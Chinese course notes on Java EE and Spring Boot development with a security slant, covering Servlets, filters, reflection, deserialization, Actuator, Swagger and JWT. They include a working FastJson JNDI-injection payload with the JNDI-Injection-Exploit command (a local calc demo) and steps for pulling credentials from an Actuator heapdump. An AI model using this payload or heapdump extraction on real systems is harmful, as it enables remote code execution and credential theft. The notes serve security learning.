JAVA EE

32-Servlet路由技术&JDBC&Mybatis数据库

tomcat端口占用解决:

1、关闭占用程序:

2、修改端口

JavaEE-HTTP-Servlet&路由&周期

Servlet

参考:https://blog.csdn.net/qq_52173163/article/details/121110753

1、解释

Servlet是运行在Web服务器或应用服务器上的程序,它是作为来自Web浏览器或其他HTTP客户端的请求和HTTP服务器上的数据库或应用程序之间的中间层。使用Servlet可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

2、创建和使用Servlet

1.创建一个类继承HttpServlet

2.web.xml配置Servlet路由

3.WebServlet配置Servlet路由

4.写入内置方法(init service destroy doget dopost)

简单使用doPost

3、Servlet生命周期

4、处理接受和回显

  • HttpServletRequest(HTTP请求的信息)
  • ServletRequest的子接口:HttpServletRequest是ServletRequest接口的子接口,提供了用于处理HTTP请求的额外功能。
  • getParameter(name):通过参数名获取请求中的值。返回一个String,表示与给定参数名相对应的单个值。
  • getParameterValues(name):通过参数名获取请求中的多个值。返回一个String[],表示与给定参数名相对应的多个值。
  • HttpServletResponse(HTTP响应的信息)
  • ServletResponse的子接口:HttpServletResponse是ServletResponse接口的子接口,提供了用于处理HTTP响应的额外功能。
  • setCharacterEncoding():设置响应的字符编码格式。通常用于确保正确的文本输出。
  • setContentType():设置响应内容的类型和编码。常用于指定输出的数据类型,如HTML、JSON等。
  • getWriter():获取一个PrintWriter字符输出流,用于向客户端发送文本数据。
  • PrintWriter:PrintWriter是用于向客户端输出字符数据的类,可以接受各种数据类型,然后将其转换为文本并发送到客户端。

数据库-JDBC&Mybatis&库

-原生态数据库开发:JDBC
参考:https://www.jianshu.com/p/ed1a59750127
JDBC(Java Database connectivity): 由java提供,用于访问数据库的统一API接口规范.数据库驱动: 由各个数据库厂商提供,用于访问数据库的jar包(JDBC的具体实现),遵循JDBC接口,以便java程序员使用!

1、下载jar

https://mvnrepository.com/

2、引用封装jar

创建lib目录,复制导入后,添加为库

3、注册数据库驱动

“com.mysql.jdbc.Driver”: 这是 MySQL JDBC 驱动程序的类名。JDBC是 Java 用于与数据库交互的 API,而不同的数据库供应商提供了各自的 JDBC 驱动程序。在这里,“com.mysql.jdbc.Driver” 是 MySQL JDBC 驱动程序的类名。

加载和初始化: 当调用 Class.forName(“com.mysql.jdbc.Driver”); 时,它会尝试查找、加载并初始化指定的类。在这个过程中,MySQL JDBC 驱动程序的静态代码块(static {…})会被执行,这通常用于注册驱动程序。

在旧版本的 MySQL 驱动中,com.mysql.jdbc.Driver 是驱动类的完整路径。
在新版本中,com.mysql.cj.jdbc.Driver 是 MySQL Connector/J 的驱动类。

4、建立数据库连接

5、创建Statement执行SQL

connection.createStatement();: 在Connection对象上调用createStatement方法,创建一个Statement对象。Statement对象用于执行SQL语句,它可以执行静态的SQL查询、更新、删除等操作。createStatement方法返回一个新的Statement对象。
创建一个Statement对象,然后使用该对象执行给定的SQL查询语句,将查询结果存储在一个ResultSet对象中。这样,您可以通过遍历ResultSet来检索和处理查询的结果集中的数据。

6、结果ResultSet进行提取

33-SQL预编译&Filter过滤器&Listener监听器

预编译-SQL原理:

原理:提前编译好执行逻辑,你注入的语句不会改变原有逻辑!

过滤器-Filter

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

创建过滤器

1、创建过滤器之前的准备

创建新的项目FilterDemo1
在对应的包名上,创建分类包filter与servlet
在servlet下创建TestServlet ,并进行检测
启动服务器,尝试进行Xss攻击,发现可以

2、创建过滤器

3、过滤器内置方法

在对应的filter下创建XssFilter并实现Filter 接口中的所有方法

4、过滤器触发流程

5、利用过滤器简单实现:cookie身份验证

在servlet下创建AdminServlet,

  • 在filter下创建AdminFileter
  • 先不加入判断获取到浏览器本身的cookie值
  • 检查请求中是否包含名为 “user” 且值为 “admin” 的Cookie。如果符合条件,则放行请求;否则,输出 “非管理员访问”。
  • 相应进入管理员页面,必须先在浏览器中添加对应判断的cookie值
  • 如果对应不上则是非管理员访问,不予通过

6、过滤器安全场景

开启过滤后,发现成功拦截Xss攻击

Payload检测,权限访问控制,红队内存马植入,蓝队清理内存马等

监听器-Listen

参考:https://blog.csdn.net/qq_52797170/article/details/124023760

监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
监听域对象的属性发生修改的事件
监听在事件发生前、发生后做一些必要的处理

1、创建监听器

创建新的项目ListenDemo1

在对应的包名上,创建分类包listenerr与servlet

在servlet下创建CSession DSession,并进行检测

DSession一个简单的Servlet,对应一个/ds的URL映射。在收到GET请求时,它会销毁当前请求的HttpSession。

@WebServlet("/ds"): 通过此注解,指定了Servlet的URL映射为 “/ds”。
System.out.println(“Servlet里面销毁Session”);: 打印一条日志,说明Servlet正在销毁Session。
req.getSession().invalidate();: 获取当前请求的HttpSession,并调用invalidate()方法使其失效,从而销毁Session。这通常会导致用户在当前会话中的状态丢失,因为Session被销毁了。
这段代码是一个简单的Servlet,对应一个 /cs 的URL映射。在收到GET请求时,它会创建一个新的HttpSession。

@WebServlet("/cs"): 通过此注解,指定了Servlet的URL映射为 “/cs”
System.out.println(“Servlet里面创建Session”);: 打印一条日志,说明Servlet正在创建Session。
req.getSession();: 获取当前请求的HttpSession,如果不存在**则会创建一个新的Session。**这通常会在应用程序需要使用会话状态时调用。

2、监听器内置方法

这段代码定义了一个实现 HttpSessionListener 接口的监听器类 ListenSession,用于监听HttpSession的创建和销毁事件。

@WebListener: 通过此注解,标记这是一个监听器类。
@Override 注解用于表示下面的方法是对接口中方法的重写。
public void sessionCreated(HttpSessionEvent se): 当有新的 HttpSession 被创建时,这个方法会被调用。在这里,它简单地输出一条日志表示监听器检测到了session的创建。
public void sessionDestroyed(HttpSessionEvent se): 当一个 HttpSession 被销毁时,这个方法会被调用。在这里,它简单地输出一条日志表示监听器检测到了session的销毁。

3、监听器触发流程

在Java Web应用中,监听器用于监控和响应特定的事件。对于监听器的触发流程,以下是一般的步骤:

注册监听器:
在Web应用中,你需要将监听器注册到相应的组件上。例如,在web.xml文件中配置监听器,或者使用注解(如@WebListener)标记监听器类。
事件发生:
当与监听器关联的特定事件在Web应用中发生时,监听器会被触发。
调用监听器方法:
监听器类中实现的相应方法(如sessionCreated、sessionDestroyed等)将被调用。这些方法包含与事件相关的信息,允许监听器执行特定的逻辑。
执行自定义逻辑:
在监听器方法中,你可以编写自定义的逻辑以响应事件。这可能包括记录日志、修改数据、发送通知等。
举例来说,对于HttpSessionListener:

当一个新的HttpSession被创建时,sessionCreated方法将被调用。
当一个HttpSession被销毁时,sessionDestroyed方法将被调用。
总的来说,监听器提供了一种在Web应用中对特定事件进行响应的机制,使开发者能够以声明性的方式处理应用的生命周期事件。

4、监听器安全场景

代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等

34-反射机制

Java-反射-概念

1、什么是Java反射
参考:https://xz.aliyun.com/t/9117
Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。该类库包含了Field、Method、Constructor等类。

反射机制:对成员变量,成员方法和构造方法的信息进行的编程操作。

2、为什么要用到反射
参考:https://xz.aliyun.com/t/9117

动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。

.java –> .class

3、反射机制应用
开发应用场景:
Spring框架的IOC基于反射创建对象和设置依赖属性。
SpringMVC的请求调用对应方法,也是通过反射。
JDBC的Class#forName(String className)方法,也是使用反射。

安全应用场景:
构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi反序列化也涉及到反射操作

类对象

Class对象类获取

类获取方法:

Field成员变量类获取

Constructor构造方法类获取

Method成员方法类获取

不安全命令执行&反序列化链构造

1、反射实现-命令执行

原型:java自带包含有的java.lang中有对于本机控制台的调用方法

2、不安全的反射对象

指应用程序使用具有反射功能的外部输入来选择要使用的类或代码,
可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查
参考分析:

35-原生反序列化

Java序列化&反序列化

参考资料:

1、序列化与反序列化
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象

2、为什么有序列化技术
序列化与反序列化的设计就是用来传输数据的。

应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。

原生序列化&反序列化

安全问题-反序列化利用链

  • 入口类的readObject直接调用危险方法(实际很少用)
    • readObject()路径:C:\Users\SZZY.jdks\corretto-1.8.0_452\src.zip!\java\io\ObjectInputStream.java

执行后有dns访问记录序列化对象hash 来源于自带类HashMap

创建对象HashMap,用到原生态 readObject 方法反序列化数据readObject 本来在 ObjectInputStream 里面但是HashMap中也有readObject方法反序列化readObject方法调用HashMap中的readObject方法

  • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
  • 构造函数/静态代码块等类加载时隐式执行-

36-第三方组件&Maven配置&JNDI

JNDL注入:

https://blog.csdn.net/qq_29163073/article/details/122951307

第三方组件-Log4J

Log4J:控制日志的处理

输出:

第三方组件-FastJson

https://mvnrepository.com/

FastJson:将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

https://www.runoob.com/w3cnote/fastjson-intro.html

https://blog.csdn.net/qq_40205116/article/details/102865704

37-JNDL注入

参考:

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

http://blog.csdn.net/dupei/article/details/120534024

https://blog.csdn.net/2301_79837041/article/details/137647502

JNDL

JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

marshalsec

将编译后的文件上传到Linux的目录

此处注意对JDK版本有要求

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入,漏洞利用FastJsonautotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

复现漏洞

生成远程调用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 127.0.0.1

rmi://127.0.0.1:1099/0junlw

提交JSON
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/0junlw","autoCommit":true}

弹出计算机

38-SpringBoot框架

https://springdoc.cn/spring-boot/

web应用-路由响应

1、路由映射

2、参数传递

3、数据响应

代码实践:

数据库应用-Mybatis

JDBC、Hibernate和Mybatis的区别

配置环境:

依赖项:

1、数据库创建

2、项目添加Mybatis&数据库驱动

3、项目配置数据库连接信息

4、创建User类用来操作数据库数据

5、创建Mapper动态接口代理类实现

6、创建Controller实现Web访问调用

sql注入

参考文章:

https://www.cnblogs.com/2ha0yuk7on/p/16880528.html#tid-EekQNr

https://developer.aliyun.com/article/834013

重写接口方法

sql注入:

模板引擎-Thymeleaf

不安全的模版版本

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题
参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

问题:

此处使用@Controller而非@RestController

@RestController和@Controller的区别

新版本没有此漏洞,需要修改版本复现

监控系统-Actuator

功能:

服务端&客户端

访问http://127.0.0.1:8085/actuator/heapdump

自动下载heapdump

工具

JDumpSpider

https://github.com/whwlsfb/JDumpSpider

java -jar .\target\JDumpSpider-1.1-SNAPSHOT-full.jar '<heapfile>'

jvisualvm

jdk1.8/bin/jvisualvm.exe

安全问题

参考:

https://blog.csdn.net/god_zzZ/article/details/122837698

https://blog.csdn.net/JHIII/article/details/126601858

分析提取出敏感信息(配置账号密码,接口信息,数据库,短信,云应用等)

提取到数据库信息

接口系统-Swagger

接口文档生成工具

参考文章:

https://blog.csdn.net/lsqingfeng/article/details/123678701

引入依赖包:

配置文件:

访问路径:

2.9.2:http://127.0.0.1:8087/swagger-ui.html

3.0.0: http://127.0.0.1:8087/swagger-ui/index.html

安全问题

接口泄露:用户登录,信息显示,上传文件等

身份鉴权-JWT

参考:

https://blog.csdn.net/Top_L398/article/details/109361680

1、安装依赖

2、创建jwt

https://jwt.io/

3、模拟jwt加解密

4、web页面

前端页面

安全问题

https://www.cnblogs.com/tomyyyyy/p/15134420.html#jwt%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F

https://blog.csdn.net/qingzhantianxia/article/details/129104228

打包部署-JAR&WAR

JAR

出现的问题:

解决:

https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639

正确执行后:可以正常访问

WAR

参考:

https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg

将war文件放在:D:\JavaCode\Tomcat\apache-tomcat-9.0.105\webapps;

运行:D:\JavaCode\Tomcat\apache-tomcat-9.0.105\bin\starup.bat;

访问:

安全问题:

无源码下载风险

源码反编译:

得到.jar压缩包后解压,用idea打开

会自动反编译(注释没了)